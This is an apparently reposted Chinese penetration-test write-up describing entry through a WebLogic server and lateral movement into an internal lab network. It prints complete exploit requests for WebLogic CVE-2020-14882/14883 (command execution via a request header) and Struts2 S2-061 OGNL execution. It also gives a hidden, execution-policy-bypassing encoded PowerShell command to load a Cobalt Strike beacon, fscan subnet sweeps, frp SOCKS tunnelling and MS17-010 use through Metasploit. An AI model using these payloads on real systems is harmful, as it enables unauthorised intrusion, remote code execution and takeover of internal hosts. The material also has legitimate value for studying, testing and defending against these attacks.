【漏洞复现】1、内网初探

admin 2022年7月12日01:02:06评论30 views字数 4548阅读15分9秒阅读模式

分享从外网weblogic cve-2020-14882、14883到内网横向

1、信息收集

1.1 信息收集


nmapweblogicscancve-2020-14882、14883利用7001端口weblogic,使用weblogicscan探测或者可以反问/console/判断具体版本得到对应版本尝试weblogic探测


1.2漏洞利用

cve-2020-14882

http://192.168.1.6:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29cve-2020-14883


POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1Host: 192.168.1.9:7001cmd: chcp 65001&&whoami&&ipconfigUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 1260
_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if (cmd != null) { String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req); res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result)); res.getServletOutputStream().flush(); res.getWriter().write("");}executeThread.interrupt();");


2、GETSHELL

利用powershell 无文件落地上线cs


powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABO+++++++++++++++++++++xACcAKQA=


3、内网信息收集

 Fscan信息收集

发现存在192.168.33.X网段,通过上传fscan,执行利用检测33段存活主机fscan.exe -h 192.168.33.0/24 -np -no -nopoc

【漏洞复现】1、内网初探

4、进一步内网攻击

4.1 利用Frp代理,搭建socks

linux:frps ./frps  # 默认配置

windwos:frpc frpc.exe –c frpc.ini # 修改连接指向

【漏洞复现】1、内网初探

4.2 代理进入内网

s2-061

利用proxifile配置,进入内网,存在web业务系统,发现使用s2框架,利用s2-61,getshell


POST /index.action HTTP/1.1Host: 192.168.33.128:8080Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://192.168.1.110:8080/index.actionAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Connection: closeCookie: JSESSIONID=node01rmb7javcym788zr4tv23sfcl1.node0Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Length: 1361
------WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Disposition: form-data; name="id"
%{(#request.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#request.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) + (#request.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'id'}))}------WebKitFormBoundaryl7d1B1aGsV2wcZwF--


MS17010

通过CS派生MSF,利用MSF扫描17010,并利用

【漏洞复现】1、内网初探


【漏洞复现】1、内网初探



涉及探测、利用具体方式,后续会详细发送,可冲,后续靶场将提供给大家

本文最终解释权归本人所有

日站不规范,亲人两行泪!!!

日站不规范,亲人两行泪!!!

日站不规范,亲人两行泪!!!


原文始发于微信公众号(xiufeisec):【漏洞复现】1、内网初探

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月12日01:02:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【漏洞复现】1、内网初探https://cn-sec.com/archives/1161906.html

发表评论

匿名网友 填写信息